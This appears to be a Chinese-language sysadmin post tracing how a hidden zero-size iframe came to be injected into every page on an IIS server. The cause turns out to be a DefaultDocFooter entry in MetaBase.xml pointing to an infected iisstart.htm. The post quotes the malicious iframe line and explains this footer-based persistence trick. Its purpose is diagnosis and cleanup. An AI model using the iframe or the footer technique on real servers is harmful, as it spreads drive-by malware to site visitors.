一台服务器 几乎所有网站打开网页 甚至HTML网页 都出现了
<iframe src="http://xxxdfsfd/web.htm" height=0 width=0></iframe>
这种样式的代码 有的在头部 有的在尾部 部分杀毒软件打开会报毒
打开HTML或ASP PHP页面 在源码中怎么也找不到这段代码
分析原因
首先怀疑ARP挂马,用防ARP的工具又没有发现有arp欺骗
而且arp欺骗一般不会每次都被插入代码,而是时有时无
而且使用http://127.0.0.1 或者http://localhost 访问的时候也可以找到这段代码
arp欺骗的可能排除。
然后就想到可能是JS被篡改,或者是其它的包含文件,查找后没有发现被改的页面 连新建的HTML页面浏览的时候也会被插入这段代码,那就只能是通过IIS挂上去的了。
备份iis数据然后重装iis,代码消失,将备份的iis恢复,问题又来了。
仔细寻找,问题应该出在IIS的配置文件上,打开配置文件,没有发现那段代码。
那很有可能是调用了某个文件,这个怎么查啊,忽然想起了大名鼎鼎的Filemon
本地载了一个上传到服务器上,打开Filemon,数据太多了,过滤掉一些没有用的
只留下iis的进程,数据还是很多,看来服务器上的站点还是挺多人在访问的。
关掉所有站点,建了一个测试站点anky 目录为D:\www\ 在下面建了一个空白页面test.htm
访问一下这个页面代码被插进来了,再看一下Filemon 奇怪怎么读取C:\Inetpub\wwwroot\iisstart.htm
打开C:\Inetpub\wwwroot\iisstart.htm一看,里面就躺着
<iframe src="http://xxxdfsfd/web.htm" height=0 width=0></iframe>
把代码删除了留空,访问test.htm 正常了,把C:\Inetpub\wwwroot\iisstart.htm删除了再访问
test.htm 出现 “读取数据页脚文件出错”问题就出这里了,看来是调用了
这个文件。
把C:\Inetpub\wwwroot\iisstart.htm清空就正常了,这样怎么行,解决问题当然要连根拔掉。
continue
有没有可能是扩展造成的,到扩展中检查了一遍全部都是正常的
当然 通过ISAPI 挂马的也是存在的
左想右想最后还是觉得配置文件有问题
打开配置文件,配置文件在%windir%\system32\inetsrv\MetaBase.xml
用记事本打开,查找iisstart.htm 找到一行,开始以为是默认站点,后来一想不对啊
默认站点都删除了,再仔细一看这句代码为
DefaultDocFooter="FILE:C:\Inetpub\wwwroot\iisstart.htm"
删除掉这一行,问题彻底解决了。
PS:如果网站目录没有在 C:\Inetpub\wwwroot\ 下,可以直接把 C:\Inetpub 删除,这样更安全一些。